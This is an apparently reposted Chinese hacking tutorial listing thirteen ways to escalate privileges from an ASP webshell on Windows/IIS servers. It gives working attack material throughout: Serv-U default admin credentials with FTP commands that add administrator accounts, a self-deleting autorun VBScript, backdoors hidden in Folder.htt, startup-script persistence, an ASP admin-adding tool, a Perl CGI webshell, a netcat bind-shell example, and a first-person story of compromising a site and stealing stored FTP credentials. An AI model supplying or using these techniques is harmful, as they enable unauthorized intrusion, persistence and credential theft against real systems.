ASP木马提升权限的N种方法

来源:互联网 发布:玩游戏组队网络冲突 编辑:程序博客网 时间:2024/05/22 05:05

ASP木马提升权限的N种方法
Submitted by cooldiyer on 2006, July 6, 11:53 AM. 技术
一、Serv-U提权
    OK,看看他的PROGRAME里面有些什么程序,哦,有SERV-U,记得有次看到SERV-U有默认的用户名和密码,但是监听的端口是43958,而且是只有本地才能访问的,但是我们有端口转发工具的啊,不怕。先看看他的SERV-U的版本是多少,telnet XXX.XXX.XXX.XXX 21
显示竟然是3.0的,唉,不得不说这个管理员真的不称职。后来完毕后扫描了下,也只有FTP的洞没有补。既然是这样,我们就开始我们的提升权限了上传FPIPE,端口转发工具在运行CMD命令里输入d://wwwroot//fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本机的43598端口转发到81端口然后打开我们自己机子上的SERV-U,点Serv-U服务器,点菜单栏上的的服务器,点新建服务器,然后输入IP,输入端口,记得端口是刚刚我们转发的81端口。服务名称随便你喜欢,怎么样都行。然后是用户名:LocalAdministrator  密码:#l@$ak#.lk;0@P   (密码都是字母)
确定,然后点刚刚建的服务器,然后就可以看到已有的用户,自己新建一个用户,把所有权限加上。也不锁定根目录
接下来就是登陆了,登陆FTP一定要在CMD下登陆,
进入后一般命令和DOS一样,添加用户的时候
ftp>quote site exec net.exe user hk pass /add
ftp>quote site exec net.exe localgroup administrators hk/add
如果对方开了3389的话,就不用我教你怎么做了,没开的话,新建立IPC连接,在上传木马或者是开启3389的工具

    如果不行的话就看看“C://Documents and Settings//All Users//「开始」菜单//程序”能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:TimeOut=600
Maintenance=System
Access1=C://|RWAMELCDP
Access1=d://|RWAMELCDP
Access1=f://|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限


二、auto.ini 加 SHELL.VBS

autorun.inf
[autorun]
open=shell.vbs
shell.vbs
dim wsh    
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 520ls",0
wsh.run "net localgroup administrators guest /add",0
wsh.run "net user hkbme 520ls /add",0
wsh.run "net localgroup administrators hkbme /add",0
wsh.run "cmd.exe /c del autorun.inf",0
wsh.run "cmd.exe /c del shell.vbs",0  

但是这样要可以访问到对方的根目录。将这两个文件放到对方硬盘的根目录下。当然你也可以直接执行木马程序,还要一个木马程序,但是语句就和最后两句一样,通过CMD执行木马程序

三、Folder.htt与desktop.ini
将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下,觉得一个不够,可以多放几个
Folder.htt添加代码
<OBJECT ID=&rdquo;RUNIT&rdquo; WIDTH=0 HEIGHT=0 TYPE=&rdquo;application/x-oleobject&rdquo; CODEBASE=&rdquo;你的后门文件名&rdquo;>
</OBJECT>  

但是后门和这两个文件必须要放到一块,有点问题,可以结合启动VBS,运行结束后,删除上传的后门.就是CODEBASE="shell.vbs".shell写法如上

四、replace替换法,可以替换正在执行的文件

用这个几乎可以马上得到权限,但是我没有做过试验,可以试下,将对方正在执行的文件替换为和它文件名一样的,捆绑了木马的。为什么不直接替换木马呢?如果替换的是关键程序,那不是就直接挂了?所以还是捆绑好点
格式
REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W]
REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W]

 [drive1:][path1]filename 指定源文件。
 [drive2:][path2] 指定要替换文件的
              目录。
 /A 把新文件加入目标目录。不能和
              /S 或 /U 命令行开关搭配使用。
 /P 替换文件或加入源文件之前会先提示您
              进行确认。
 /R 替换只读文件以及未受保护的
              文件。
 /S 替换目标目录中所有子目录的文件。
              不能与 /A 命令选项
              搭配使用。
 /W 等您插入磁盘以后再运行。
 /U 只会替换或更新比源文件日期早的文件。
              不能与 /A 命令行开关搭配使用
这个命令没有试验过,看能不能替换不能访问的文件夹下的文件,大家可以试验下

五、添加开机脚本

编写一个启动/关机脚本配置文件scripts.ini,这个文件名是固定的,不能改变。内容如下:
[Startup]
CmdLine=a.bat
Parameters=  


将文件scripts.ini保存到“C://winnt//system32//GroupPolicy//Machine//Scripts”
A.BAT的内容可以是NET USER yonghu mima
也可以是NET USER ADMINistrator  XXX
这样可以恢复你想要得任意用户名的密码,也可以自己增加新的用户,但是要依赖重启,还有就是对SYSTEM32有写的权限

六、SAM文件

    如果可以访问对方的SYSTEM32的话,删除对方的SAM文件,等他重启以后就是ADMIN用户密码为空
突然又有了想法,可以用REPLACE命令替换的吗,可以把你的SAM文件提取出来,上传到他的任意目录下,然后替换。不过不知道如果对SYSTEM32没有权限访问的话,能不能实现替换,不能的话就暴力破解,用到破解sam密码的软件有LC,SAMinside

七、使用服务器上的软件漏洞来提升权限

    从前段时间的动网的upfile漏洞, 动力文章系统最新漏洞到first see发现的动网sql版本的一个超级大漏洞。有人一定忙的不易乐乎,大家的方法也不过是使用一下asp脚本的后门罢了。至于提 升权限的问题 呵呵,很少有人能作一口气完成。关键还是在提升权限上做个问题上,不少服务器设置的很BT,你的asp木马可能都用不了,还那里 来的提升啊。我们得到webshell也就是个低级别的用户的权限,各种提升权限方法是可谓五花八门啊,如何提升就看你自己的妙 招了。

其一,如果服务器上有装了pcanywhere服务端,管理员为了便于管理也给了我们方便,到系统盘的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了。
其二,如果对方有Serv-U大家不要骂我啊,通过修改ServUDaemon.ini和fpipe这软件提升权限应该是不成问 题吧。
其三,通过替换系统服务来提升。
其四,查找conn和config这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等等。
本人在一次无聊的入侵过程中发现了这个方法,使用Flashfxp也能提升权限,但是成功率高不高就看你自己的运气了:)
本人在www.xxx.com 通过bbs得到了一个webshell,放了个小马(现在海阳的名气太大了偶不敢放),而且已经将一段代码插入了N个文件中,够 黑吧。提升权限没时间做。在我放假回家后,一看我晕bbs升级到动网sp2了我放的小马也被K了,人家的BBS是access版 本的。郁闷啊!突然想起我将一个页面插入了asp的后门,看看还有没有希望了。输入www.xxx.com/xx.asp?id =1 好家伙,还在!高兴ing
于是上传了一个asp的脚本的后门,怎么提升权限呢?
在这个网站的主机上游荡了N分钟,在C:// Program Files下发现了FlashFXP文件夹(跟我一样使用这个软件自己心里暗想)图2,于是就打了了Sites. dat这个文件(编辑)这是什么东西密码和用户名,而且密码是加了密的。
如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件会怎么样呢?
于是我就将Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak几个文件下载到我的计算机中替换了我电脑中flashfxp文件夹的相应文件。打开flashfxp 在站点中打开站点管理器一项。乖 乖发财了
对方管理员通过flashfxp连接的各个站点都在图3,点击连接。通过了于是我们又有了一堆肉鸡,我们有ftp权限。上传脚本 木马~ 呵呵。
说了半天这提升权限的事情一点没讲啊
不要急,大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。可惜啊!
又想起了在Sites.dat中也显示了密码和用户名,而且密码是加密的。
现在的星号密码会不会也是加了密的?看看就行了呗。
怎么看? 菜鸟了吧 手头有个不错的查看星号的软件,就是xp星号密码查看器,通过查看跟Sites.dat中加密了密码做比较。看图4和图5 的比较 很显然在站点管理器中查看到的密码是明文显示的。发财了吧
下一步就是使用xp星号密码查看器这个软件来提取密码和用户名。看者这些复杂的密码,还真有点怀念当年玩sniff的时光。呵呵
密码为:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+
用户名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69
(上述部分密码和用户名已经作了必要的修改)
这么多的信息,按社会工程学的概念来说,没有管理员的密码。打死我也不相信。最终我得到了这个网站管理员的密码从这堆东西中找到 的。
我想这个问题应该反馈到flashfxp官方,让他们在下个版本中修正这个漏洞或者说是错误。经过后来测试只要把含有密码和用户 名的Sites.dat文件替换到本地相应的文件就可以在本地还原对方管理员的各个站点的密码。希望大家在入侵的时候遇到fla shfxp的时候能想到这个方法,至少也可以得到一堆新的肉鸡。不防试试?希望能给大家渗透带来帮助。
其五,c://winnt//system32//inetsrv//data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

八、利用asp.dll提权

asp文件的教本解释是由asp.dll运行的。由dllhost.exe启动的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接启动。身份是system
方法:
第一步。
得到inprocesslsapiapps内容,用命令"cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps"。将得到的一组dll复制下来。
第二步
写一个bat内容为"cscript C://Inetpub//AdminScripts//adsutil vbs set w3svc/inprpocessisapiapps "C://Inetpub//AdminScripts//asp.dll" ·····
省略号为复制下的内容。中间用空格分开不要带回车符
最后运行这个bat就行了。
例如:
我用"cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps"得到

"c://winnt//system32//inetsrv//httpext.dll"
"c://winnt//system32//inetsrv//httpodbc.dll"
"C://WINNT//system32//inetsrv//ssinc.dll"
"C://WINNT//System32//msw3prt.dll"
"C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_aut//author.dll"
"C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_adm//admin.dll"
"C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//shtml.dll"


那么你的bat就应该是:

cscript C://Inetpub//AdminScripts//adsutil vbs set w3svc/inprpocessisapiapps "C://Inetpub//AdminScripts//asp.dll" "c://winnt//system32//inetsrv//httpext.dll" "c://winnt//system32//inetsrv//httpodbc.dll" "C://WINNT//system32//inetsrv//ssinc.dll" "C://WINNT//System32//msw3prt.dll" "C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_aut//author.dll" "C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_adm//admin.dll" "C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//shtml.dll"


九、利用%5c绕过验证 利用%5c绕过验证


说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。

好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429

N年以前利用这个漏洞可以实现目录遍历,虽然微软出了补丁,不过好像补丁是用来限制iis只能访问虚拟目录的,所以漏洞还是存在,只不过利用方式变了。对iis来说,提交一个含有%5c的url能够找到文件,但是该文件里以相对路径引用的其他文件却找不到了(%5c是//的url编码,iis跳转到上一级目录去找,当然找不到;头晕了吧,哈哈,我也头晕啊)。

后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。

一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。

废话少说,看下面的代码:
<!--#include file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.CreateObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码!"
response.end
else
session("admin")=1 '登陆后写入seesion中保存
response.write("登陆成功,请返回信息页")
end if
%>  



看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码:

<%
on error resume next
set conn=server.createobject("adodb.connection")
DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>  


啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了!

知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。

诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。

既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的“洞”网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段:
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If  


数据库找不到程序就结束了,呵呵,空欢喜一场。

接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。

我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。

总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录

至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^

十、.network对象脚本权限

<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>


<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了&hellip;&hellip;省下2元钱买瓶可乐也好&hellip;&hellip;"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>  


也可以用这段代码检查是否提升成功

<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>  


十一、明星目录权限利用
    C://Program Files//Java Web Start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。
    看能否跳转到如下目录
c://php, 用phpspy
c://prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html//r//n//r//n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f///ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>//r//n", 13);
open(STDERR, ">&STDOUT") || die "Can/'t redirect STDERR";
system($execthis);
syswrite(STDOUT, "//r//n</PRE></HTML>//r//n", 17);
close(STDERR);
close(STDOUT);
exit;  

保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c//perl//bin//su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe f: /E /T /G everyone:F"
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted  

这样所有分区为everyone完全控制,现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?c//perl//bin//su.exe " net localgroup administrators IUSR_anyhost /add"

十二、运行adsutil.vbs来提升权限
用这个cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c://winnt//system32//inetsrv//asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C://WINNT//system32//idq.dll" "C://WINNT//system32//inetsrv//httpext.dll" "C://WINNT//system32//inetsrv//httpodbc.dll" "C://WINNT//system32//inetsrv//ssinc.dll" "C://WINNT//system32//msw3prt.dll""c://winnt//system32//inetsrv//asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了  

十三:pcanywhere CIF文件本地权限的提升

如果对方装了pcanywhere的话,我们可以利用此漏洞,首先在我们本机安装pcanywhere版本与目标机相同,创建新的CIF文件,设置超级用户标签,将这个cif文件上传至目标机“Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/Hosts/"目录,这样我们登陆到pcanywhere就得到了管理员权限~

 

原创粉丝点击